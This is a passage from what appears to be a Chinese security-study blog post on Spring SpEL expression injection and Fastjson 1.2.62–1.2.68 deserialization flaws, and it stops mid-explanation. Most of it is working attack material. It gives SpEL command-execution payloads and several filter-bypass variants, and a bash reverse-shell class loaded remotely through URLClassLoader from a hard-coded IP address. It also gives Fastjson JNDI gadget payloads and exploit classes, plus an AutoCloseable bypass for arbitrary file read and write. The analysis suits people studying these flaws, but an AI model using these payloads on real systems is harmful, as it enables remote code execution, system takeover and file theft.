在一般情况下,这些值都写在properties的配置文件中,很少或几乎没有我们可以控制的地方

Expression用法

后续分析的SpringCVE漏洞都是基于Expression形式的SpEL表达式注入,因此这里单独说明一下该种形式的用法

步骤

Expression用法分为四步:首先构造一个解析器,其次使用解析器去解析字符串表达式,然后构造上下文,最后根据上下文得到表达式运算后的值(其中第三步可以省略)
1
2
3
4
5
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression("('Hello' + ' Drunkbaby').concat(#end)");
EvaluationContext context = new StandardEvaluationContext();
context.setVariable("end", "!");
System.out.println(expression.getValue(context));

具体步骤如下:

  1. 创建解析器:SpEL 使用 ExpressionParser 接口表示解析器,提供 SpelExpressionParser 默认实现;
  2. 解析表达式:使用 ExpressionParserparseExpression 来解析相应的表达式为 Expression 对象;
  3. 构造上下文:准备比如变量定义等等表达式需要的上下文数据;
  4. 求值:通过 Expression 接口的 getValue 方法根据上下文获得表达式值;

Demo

应用的示例如下,和xml配置的用法区别为:xml配置解析时,需要界定符#{}来注明SpEL表达式,而Expression用法,会将传入parseExpression方法的字符串直接当成SpEL表达式来解析,无需注明

1
2
3
4
5
6
7
8
9
10
11
public class ExpressionCalc {// 字符串字面量  

public static void main(String[] args) {
// 操作类弹计算器,当然java.lang包下的类是可以省略包名的
String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";
// String spel = "T(Runtime).getRuntime().exec(\"calc\")";
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(spel);
System.out.println(expression.getValue());
}
}

SPEL表达式漏洞注入

漏洞原理

SimpleEvaluationContext StandardEvaluationContext 是 SpEL 提供的两个 EvaluationContext

  • SimpleEvaluationContext : 针对不需要 SpEL 语言语法的全部范围并且应该受到有意限制的表达式类别,公开 SpEL 语言特性和配置选项的子集。
  • StandardEvaluationContext : 公开全套 SpEL 语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。

SimpleEvaluationContext 旨在仅支持 SpEL 语言语法的一个子集,不包括 Java 类型引用、构造函数和 bean 引用;而 StandardEvaluationContext 是支持全部 SpEL 语法的。

SpEL表达式可以操作类及其方法,可以通过类类型表达式T(Type)来调用任意方法。因为在不指定EvaluationContext的情况下,默认采用的是<font style="color:rgb(80, 80, 92);">StandardEvaluationContext</font>,它包含了SpEL的所有功能,在允许用户输入情况下,可以造成任意命令执行

如下:

1
2
3
4
5
6
7
8
public class BasicCalc {  
public static void main(String[] args) {
String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(spel);
System.out.println(expression.getValue());
}
}

通过反射调用进行SpEL注入

这里和我们上述所利用的方式是相类似的,只是多了一步反射调用
1
2
3
4
5
6
7
8
public class ReflectBypass {  
public static void main(String[] args) {
String spel = "T(String).getClass().forName(\"java.lang.Runtime\").getRuntime().exec(\"calc\")";
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(spel);
System.out.println(expression.getValue());
}
}

基础Poc与Bypass

基础Poc

基础Poc如下(去除界定符):

除了常见的Runtime的命令执行方法还有<font style="color:rgb(80, 80, 92);">ProcessBuilder</font>进行命令执行,后者是前者的基础调用

1
2
3
4
5
6
7
8
9
// PoC原型

// Runtime
T(java.lang.Runtime).getRuntime().exec("calc")
T(Runtime).getRuntime().exec("calc")

// ProcessBuilder
new java.lang.ProcessBuilder({'calc'}).start()
new ProcessBuilder({'calc'}).start()

基础Bypass

常见的Bypass技巧
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 // 反射调用
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

// 同上,需要有上下文环境
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

// 反射调用+字符串拼接,绕过如javacon题目中的正则过滤
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})

// 同上,需要有上下文环境
#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})

// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part1
// byte数组内容的生成后面有脚本
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()

// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part2
// byte数组内容的生成后面有脚本
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))

JavaScript Engine Bypass

从别的师傅的博客了解到,可以使用js引擎来进行绕过

我们来获取一下所有js引擎信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public static void main(String[] args) {
ScriptEngineManager manager = new ScriptEngineManager();
List<ScriptEngineFactory> factories = manager.getEngineFactories();
for (ScriptEngineFactory factory: factories){
System.out.printf(
"Name: %s%n" + "Version: %s%n" + "Language name: %s%n" +
"Language version: %s%n" +
"Extensions: %s%n" +
"Mime types: %s%n" +
"Names: %s%n",
factory.getEngineName(),
factory.getEngineVersion(),
factory.getLanguageName(),
factory.getLanguageVersion(),
factory.getExtensions(),
factory.getMimeTypes(),
factory.getNames()
);
}
}

我们比较关注的是下面的js引擎名称

getEngineByName 的参数可以填 [nashorn, Nashorn, js, JS, JavaScript, javascript, ECMAScript, ecmascript]

我们来举个例子看一下,其中eval方法就已经很明显可以执行代码

1
2
3
ScriptEngineManager sem = new ScriptEngineManager();
ScriptEngine engine = sem.getEngineByName("nashorn");
System.out.println(engine.eval("2+1"));

那么payload也就很简单就可以构造出来了

1
2
3
4
5
6
7
8
9
10
11
12
// JavaScript引擎通用PoC
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")

T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)

// JavaScript引擎+反射调用
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)

// JavaScript引擎+URL编码
// 其中URL编码内容为:
// 不加最后的getInputStream()也行,因为弹计算器不需要回显
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)

最后也是成功执行

利用类加载攻击

UrlClassloader

这个方法就是通过远程类加载

首先构造一个恶意类(这里为反弹shell),并打包为.jar包或者编译为.class

1
2
3
4
5
6
7
8
9
10
11
12
13
import java.io.IOException;

public class Exp{
public Exp(String address){
address = address.replace(":","/");
ProcessBuilder p = new ProcessBuilder("/bin/bash","-c","exec 5<>/dev/tcp/"+address+";cat <&5 | while read line; do $line 2>&5 >&5; done");
try {
p.start();
} catch (IOException e) {
e.printStackTrace();
}
}
}

在将编译好的文件放在vps上,并起一个http服务

1
python3 -m http.server 8990

payload如下,然后监听2333端口

1
new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://101.36.122.13:8990/Exp.jar")}).loadClass("Exp").getConstructors()[0].newInstance("101.36.122.13:2333")

AppClassLoader

获取ClassLoader去加载本地的类
1
2
3
4
5
6
7
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException {
//String cmdStr = "new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL('http://127.0.0.1:8888/')}).loadClass(\"evil\").getConstructors()[0].newInstance()";
String cmdStr = "T(java.lang.ClassLoader).getSystemClassLoader().loadClass('java.lang.Runtime').getRuntime().exec('calc')";
ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression(cmdStr);//解析表达式
System.out.println( exp.getValue() );//弹出计算器
}

FastJson 1.2.62-1.2.68反序列化漏洞

今天学习一下FastJson 中 1.2.62 - 1.2.68 的反序列化漏洞,思路的话和之前一样基于黑名单的绕过,但是大部分还是在 AutoType 开启的情况下,且基本都基于存在其他的依赖的条件下

1.2.62 反序列化漏洞

1.2.62 反序列化前提条件

  • 需要开启AutoType
  • FastJson <= 1.2.62
  • JNDI注入可利用的 JDK 版本
  • 目标服务端需要存在xbean-reflect包,xbean-reflect 包的版本不限
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.62</version>
</dependency>
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-reflect</artifactId>
<version>4.18</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

漏洞原理分析

逆向分析

漏洞存在在org.apache.xbean.propertyeditor.JndiConverter中的toObjectImpl方法中

但是他不是一个setter或者getter方法

1
2
3
4
5
6
7
8
protected Object toObjectImpl(String text) {
try {
InitialContext context = new InitialContext();
return (Context) context.lookup(text);
} catch (NamingException e) {
throw new PropertyEditorException(e);
}
}

向上找,在AbstractConverter#toObject中调用了该方法

1
2
3
4
5
6
7
8
public final Object toObject(String text) {
if (text == null) {
return null;
}

Object value = toObjectImpl((trim) ? text.trim() : text);
return value;
}

继续找的话,我们找到了一个getter方法和一个setter方法,但似乎这个getter方法并不是一个满足条件的getter方法(无参数),因此我们可以看AbstractConverter中的setAsTest方法

其中setAsTest方法源码如下

1
2
3
4
public final void setAsText(String text) {
Object value = toObject((trim) ? text.trim() : text);
super.setValue(value);
}

正向分析

当我们调用JndiConvertersetAsText方法时,它本身没有该方法,就会调用父类的setAsText

方法,他的父类正好是AbstractConverter

1
public class JndiConverter extends AbstractConverter

这里会调用toObject方法,该方法调用toObject方法,最后toObject调用toObjectImpl方法

1
2
3
4
5
6
7
8
9
10
11
12
13
public final void setAsText(String text) {
Object value = toObject((trim) ? text.trim() : text);
super.setValue(value);
}

public final Object toObject(String text) {
if (text == null) {
return null;
}

Object value = toObjectImpl((trim) ? text.trim() : text);
return value;
}

AbstractConverter中没有toObjectImpl,所以这里调用到JndiConvertertoObjectImpl方法,就触发了JNDI注入

1
2
3
4
5
6
7
8
protected Object toObjectImpl(String text) {
try {
InitialContext context = new InitialContext();
return (Context) context.lookup(text);
} catch (NamingException e) {
throw new PropertyEditorException(e);
}
}

EXP编写

EXP如下,记得要开启AutoType哟
1
2
3
4
5
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String s = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"asText\":\"ldap://127.0.0.1:8085/JlaYFplQ\"}";
JSON.parse(s);
}

运行后

调试分析

我们进入CheckAutoType中,对里面的一些过滤进行以下分析,有以下几个新的限制

  • @type类名长度
  • expectClass参数的类型匹配
  • [检测
  • L检测
  • LL检测
  • 通过计算hash与白名单进行匹配
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
if (typeName == null) {
return null;
}

// 限制了JSON中@type指定的类名长度
if (typeName.length() >= 192 || typeName.length() < 3) {
throw new JSONException("autoType is not support. " + typeName);
}

// 单独对expectClass参数进行判断,设置expectClassFlag的值
// 当且仅当expectClass参数不为空且不为Object、Serializable、...等类类型时expectClassFlag才为true
final boolean expectClassFlag;
if (expectClass == null) {
expectClassFlag = false;
} else {
if (expectClass == Object.class
|| expectClass == Serializable.class
|| expectClass == Cloneable.class
|| expectClass == Closeable.class
|| expectClass == EventListener.class
|| expectClass == Iterable.class
|| expectClass == Collection.class
) {
expectClassFlag = false;
} else {
expectClassFlag = true;
}
}

String className = typeName.replace('$', '.');
Class<?> clazz = null;

final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;

// 1.2.43检测,"["
final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
if (h1 == 0xaf64164c86024f1aL) { // [
throw new JSONException("autoType is not support. " + typeName);
}

// 1.2.41检测,"Lxx;"
if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
throw new JSONException("autoType is not support. " + typeName);
}

// 1.2.42检测,"LL"
final long h3 = (((((BASIC ^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME)
^ className.charAt(2))
* PRIME;

// 对类名进行Hash计算并查找该值是否在INTERNAL_WHITELIST_HASHCODES即内部白名单中,若在则internalWhite为true
boolean internalWhite = Arrays.binarySearch(INTERNAL_WHITELIST_HASHCODES,
TypeUtils.fnv1a_64(className)
) >= 0;

继续向下,internalWhite为false , 当我们开启autoTypeSupport时,就会走入下面的逻辑

首先通过hash进行白名单匹配,后续进行黑名单过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if (!internalWhite && (this.autoTypeSupport || expectClassFlag)) {
hash = h3;

for(mask = 3; mask < className.length(); ++mask) {
hash ^= (long)className.charAt(mask);
hash *= 1099511628211L;
if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, true);
if (clazz != null) {
return clazz;
}
}

if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

因为并没有被黑名单过滤,所以我们走到了这里

autoTypeSupport为true,因此我们不会走到if代码中并抛出异常,而是会走出if判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
if (!this.autoTypeSupport) {
hash = h3;

for(mask = 3; mask < className.length(); ++mask) {
char c = className.charAt(mask);
hash ^= (long)c;
hash *= 1099511628211L;
if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}

if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, true);
}

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
}
}

我们在后面的代码中就会执行loadClass方法,最后遍历调用setter与getter方法,最终执行恶意代码

1
2
3
4
if (clazz == null && (autoTypeSupport || jsonType || expectClassFlag)) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, cacheClass);
}

补丁

黑名单绕过的补丁都是在新版本中向hash黑名单中添加相应的hash

新版本运行后会抛出以下异常

1
Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. org.apache.xbe

1.2.66 反序列化漏洞

1.2.66 反序列化,有着三条Gadget,其原理都为JNDI注入,也需要服务端存在其他依赖

1.2.66反序列化前提条件

  • 开启AutoType;
  • Fastjson <= 1.2.66;
  • JNDI注入利用所受的JDK版本限制;
  • org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core包;
  • br.com.anteros.dbcp.AnterosDBCPConfig 类需要 Anteros-Core和 Anteros-DBCP 包;
  • com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类需要ibatis-sqlmap和jta包;

Gadget's POC

org.apache.shiro.realm.jndi.JndiRealmFactory

1
{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["ldap://localhost:1389/Exploit"], "Realms":[""]}

br.com.anteros.dbcp.AnterosDBCPConfig

1
2
3
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://localhost:1389/Exploit"}

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig

1
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://localhost:1389/Exploit"}}

EXP

EXP如下,记得开启AutoTypeSupport

这几个Gadget都十分简单,不在过多分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.parser.ParserConfig;

public class EXP_1266 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String poc = "{\"@type\":\"org.apache.shiro.realm.jndi.JndiRealmFactory\", \"jndiNames\":[\"ldap://localhost:1234/ExportObject\"], \"Realms\":[\"\"]}";
// String poc = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"ldap://localhost:1389/Exploit\"}";
// String poc = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"healthCheckRegistry\":\"ldap://localhost:1389/Exploit\"}";
// String poc = "{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\"," +
// "\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"ldap://localhost:1389/Exploit\"}}";
JSON.parse(poc);
}
}

1.2.67反序列化漏洞

1.2.67反序列化前提条件

  • 开启AutoType;
  • Fastjson <= 1.2.67;
  • JNDI注入利用所受的JDK版本限制;
  • org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类需要ignite-core、ignite-jta和jta依赖;
  • org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core和slf4j-api依赖;

Fastjson循环引用

Fastjson支持循环引用,且默认开启

参考如下

https://github.com/alibaba/fastjson/wiki/%E5%BE%AA%E7%8E%AF%E5%BC%95%E7%94%A8

在Fastjson中,向JsonArray类型的对象里面add数据时,如果数据相同,那么就会被替换成$ref,相当于定义了一下以便简化,因为数据也是一样的

$ref即循环引用:当一个对象包含另一个对象时,Fastjson会将$ref解析成引用

语法 描述
{“$ref”:”$”} 引用根对象
{“$ref”:”@”} 引用自己
{“$ref”:”..”} 引用父对象
{“$ref”:”../..”} 引用父对象的父对象
{“$ref”:”$.members[0].reportTo”} 基于路径的引用

那这样就清楚了,org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类PoC中后面那段的{“$ref”:”$.tm”},实际上就是基于路径的引用,相当于是调用root.getTm()函数,进而直接调用了tm字段的getter方法了

Gadget's POC

org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup

1
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://localhost:1389/Exploit"], "tm": {"$ref":"$.tm"}}

org.apache.shiro.jndi.JndiObjectFactory

1
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://localhost:1389/Exploit","instance":{"$ref":"$.instance"}}

EXP

EXP如下,其实并没有什么差别,还是那句话,记得开启AutoTypeSupport

这几个Gadget也都十分简单,不在过多分析

1
2
3
4
5
6
7
8
9
10
11
12
import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.xml.internal.ws.api.ha.StickyFeature;

public class EXP_1267 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String poc = "{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\"," +
" \"jndiNames\":[\"ldap://localhost:1234/ExportObject\"], \"tm\": {\"$ref\":\"$.tm\"}}";
JSON.parse(poc);
}
}

1.2.68反序列化漏洞(expectClass绕过AutoType)

1.2.68反序列化前提条件

  • Fastjson <= 1.2.68
  • 利用类必须是expectClass类的子类或实现类,并且不在黑名单中

绕过

绕过原理

本次绕过的关键处在于checkAutoType()的第二个参数expectClass,我们可以通过构造恶意JSON数据、传入某个类作为exceptClass参数在传入另一个exceptClass的子类或者实现类来实现绕过checkAutoType()函数执行恶意操作

步骤如下:

  • 先传入某个类,其加载成功后作为exceptClass参数传入checkAutoType函数
  • 查找exceptClass类的实现类或者子类,如果在子类或者实现类中其构造方法或者setter方法中存在危险操作即可利用

可行性测试

简单测试一下该绕过方法的可行性
1
2
3
4
5
6
7
8
9
10
11
12
public class FastjsonExcept implements AutoCloseable  {

public FastjsonExcept(String cmd) throws IOException {
Runtime rt = Runtime.getRuntime();
rt.exec(cmd);
}

@Override
public void close() throws Exception {

}
}

POC如下

1
{"@type":"java.lang.AutoCloseable","@type":"com.FastjsonExcept","cmd":"calc"}

可以看到,在无需AutoType的情况下,即可执行

断点调试

我们直接在checkAutoType下断点调试

第一次转入的类是AutoCloseable进行校验,这里我们可以看到expectClass为null

然后从缓存Mapping中直接获取到AutoCloseable,然后对获取的clazz进行了一系列的判断,判断clazz是不是null,以及internalWhite的判断,internalWhite里面的白名单一定是很安全的

后续会出现对expectClass的判断,判断expectClass是否为空,且判断它是否继承HashMap类,若满足情况,则抛出异常,反之则会返回类

1
2
3
4
5
6
7
8
9
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}

回到DefaultJSONParser后,获取到clazz后再继续执行,根据AutoCloseable类获取到反序列化器为JavaBeanDeserializer使用该反序列化器进行反序列化操作

继续往里面走,调用JavaBeanDeserializerdeserialze方法,传入的第二个参数type即为AutoCloseable

往下面的逻辑,就是解析后面类的过程。这里看到获取不到对象反序列化器后,就会进入到if的判断中,设置 type 参数即 java.lang.AutoCloseable 类为 checkAutoType() 方法的 expectClass 参数来调用 checkAutoType() 函数来获取指定类型,然后在获取指定的反序列化器

这次我们第二次进入checkAutoType方法,typeName是我们POC中的第二个类,exceptClass参数是POC中指定的第一个类

因为AutoCloseable并不是黑名单中的类,所以expectClassFlag被设置为true

最后走到我们刚刚说的地方,当这个类不在白名单,且autoType开启或者expectClassFlag为true时,即可进入Auto开启时的检测逻辑

往下,由于expectClassFlag为true,进入如下的loadClass()逻辑来加载目标类,但是由于AutoType关闭且jsonType为false,因此调用loadClass()函数的时候是不开启cache即缓存的

跟进该函数中,这里使用AppClassLoader加载 VulAutoCloseable 类并直接返回

往下,判断其是否为jsonType,若true的话直接添加Mapping缓存并返回类,否则接着判断返回的类是否是ClassLoader、DataSource、RowSet等类的子类,是的话直接抛出异常

这也是过滤大多数JNDI注入Gadget的机制

最重点的是以下部分,这里当expectClass不为null时,就会判断我们的clazz是否为expectClass的子类,若它继承与expectClass的话,就会被添加到Mapping缓存中并返回该目标类,反之则抛出异常

这里解释的我们的恶意类必须要继承自expectClass类,只有目标类是expectClass类的子类时,才能通过这里的判断,后续反序列化即可造成恶意代码的执行

小结

在我们的POC中定义了两个@type

第一个type进去什么事情都没有发生,它是作为第二个type类的expectClass传入的,而当第二个type类为第一个type的继承类,且他的setter/getter或构造方法中存在危险方法时,即可被我们利用

实际利用

我实在太菜了,不会自己寻找gadget,这里就直接从别的师傅那里看存在漏洞的地方了 嘤嘤嘤

找到的是IntputStream和OutputStream,他们都是实现自AutoCloseable接口的

复制文件(任意文件读取)

利用类:org.eclipse.core.internal.localstore.SafeFileOutputStream

依赖:

1
2
3
4
5
<dependency>  
<groupId>org.aspectj</groupId>
<artifactId>aspectjtools</artifactId>
<version>1.9.5</version>
</dependency>

我们来看一下SafeFileOutputStream的源代码,在他的构造函数public SafeFileOutputStream(String targetPath, String tempPath)中,若targetPath文件不存在,且tempPath文件存在,就会把tempPath复制到targetPath中

利用其构造函数,我们可以实现特定web场景下的任意文件读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
package org.eclipse.core.internal.localstore;

import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import org.eclipse.core.internal.utils.FileUtil;

public class SafeFileOutputStream extends OutputStream {
protected File temp;
protected File target;
protected OutputStream output;
protected boolean failed;
protected static final String EXTENSION = ".bak";

public SafeFileOutputStream(File file) throws IOException {
this(file.getAbsolutePath(), (String)null);
}
// 该构造函数判断如果targetPath文件不存在且tempPath文件存在,就会把tempPath复制到targetPath中
public SafeFileOutputStream(String targetPath, String tempPath) throws IOException {
this.failed = false;
this.target = new File(targetPath);
this.createTempFile(tempPath);
if (!this.target.exists()) {
if (!this.temp.exists()) {
this.output = new BufferedOutputStream(new FileOutputStream(this.target));
return;
}

this.copy(this.temp, this.target);
}

this.output = new BufferedOutputStream(new FileOutputStream(this.temp));
}

public void close() throws IOException {
try {
this.output.close();
} catch (IOException var2) {
IOException e = var2;
this.failed = true;
throw e;
}

if (this.failed) {
this.temp.delete();
} else {
this.commit();
}

}

protected void commit() throws IOException {
if (this.temp.exists()) {
this.target.delete();
this.copy(this.temp, this.target);
this.temp.delete();
}
}

protected void copy(File sourceFile, File destinationFile) throws IOException {
if (sourceFile.exists()) {
if (!sourceFile.renameTo(destinationFile)) {
InputStream source = null;
OutputStream destination = null;

try {
source = new BufferedInputStream(new FileInputStream(sourceFile));
destination = new BufferedOutputStream(new FileOutputStream(destinationFile));
this.transferStreams(source, destination);
((OutputStream)destination).close();
} finally {
FileUtil.safeClose(source);
FileUtil.safeClose(destination);
}

}
}
}

protected void createTempFile(String tempPath) {
if (tempPath == null) {
tempPath = this.target.getAbsolutePath() + ".bak";
}

this.temp = new File(tempPath);
}

public void flush() throws IOException {
try {
this.output.flush();
} catch (IOException var2) {
IOException e = var2;
this.failed = true;
throw e;
}
}

public String getTempFilePath() {
return this.temp.getAbsolutePath();
}

protected void transferStreams(InputStream source, OutputStream destination) throws IOException {
byte[] buffer = new byte[8192];

while(true) {
int bytesRead = source.read(buffer);
if (bytesRead == -1) {
return;
}

destination.write(buffer, 0, bytesRead);
}
}

public void write(int b) throws IOException {
try {
this.output.write(b);
} catch (IOException var3) {
IOException e = var3;
this.failed = true;
throw e;
}
}
}

根据原理来写一个POC

1
2
3
4
5
6
7
public class Fastjson {
public static void main(String[] args) {
// ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String s = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\"tempPath\":\"C://windows/win.ini\",\"targetPath\":\"E:/flag.txt\"}";
JSON.parseObject(s);
}
}

可以看到成功读取文件内容并写入flag.txt

写入文件

利用类:com.esotericsoftware.kryo.io.Output

依赖:

1
2
3
4
5
<dependency>
<groupId>com.esotericsoftware</groupId>
<artifactId>kryo</artifactId>
<version>4.0.0</version>
</dependency>

该类写入了提供了setOutputStreamsetBuffer两个setter方法用来写入输入流,其中的buffer参数值是文件内容,outputStream参数值就是前面的SafeFileOutputStream类对象,而要触发写文件操作则需要调用其flush()方法,该方法将流写入一个文件内

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/** Sets a new OutputStream. The position and total are reset, discarding any buffered bytes.
* @param outputStream May be null. */
public void setOutputStream (OutputStream outputStream) {
this.outputStream = outputStream;
position = 0;
total = 0;
}

...

/** Sets the buffer that will be written to. {@link #setBuffer(byte[], int)} is called with the specified buffer's length as the
* maxBufferSize. */
public void setBuffer (byte[] buffer) {
setBuffer(buffer, buffer.length);
}

...

/** Writes the buffered bytes to the underlying OutputStream, if any. */
public void flush () throws KryoException {
if (outputStream == null) return;
try {
outputStream.write(buffer, 0, position);
outputStream.flush();
} catch (IOException ex) {
throw new KryoException(ex);
}
total += position;
position = 0;
}

...

写入文件时,我们就可以考虑写入恶意文件

接下来我们就看,怎么样去触发这个flush函数了,通过查找用法查看,只有在close()require()函数被调用时才会触发,其中require只有在调用write相关函数时才会被触发,存在着链子的思维

我们找到ObjectOutputStream类,其中它的内部类BlockDataOutputStream的构造函数,将OutputStream类型参数赋值给了out成员变量,而其中的setBolockDataMode函数调用了drain方法,drain中又调用了out.write方法,从而调用了flush方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
/**  
* Creates new BlockDataOutputStream on top of given underlying stream.
* Block data mode is turned off by default.
*/
BlockDataOutputStream(OutputStream out) {
this.out = out;
dout = new DataOutputStream(this);
}

/**
* Sets block data mode to the given mode (true == on, false == off)
* and returns the previous mode value. If the new mode is the same as
* the old mode, no action is taken. If the new mode differs from the
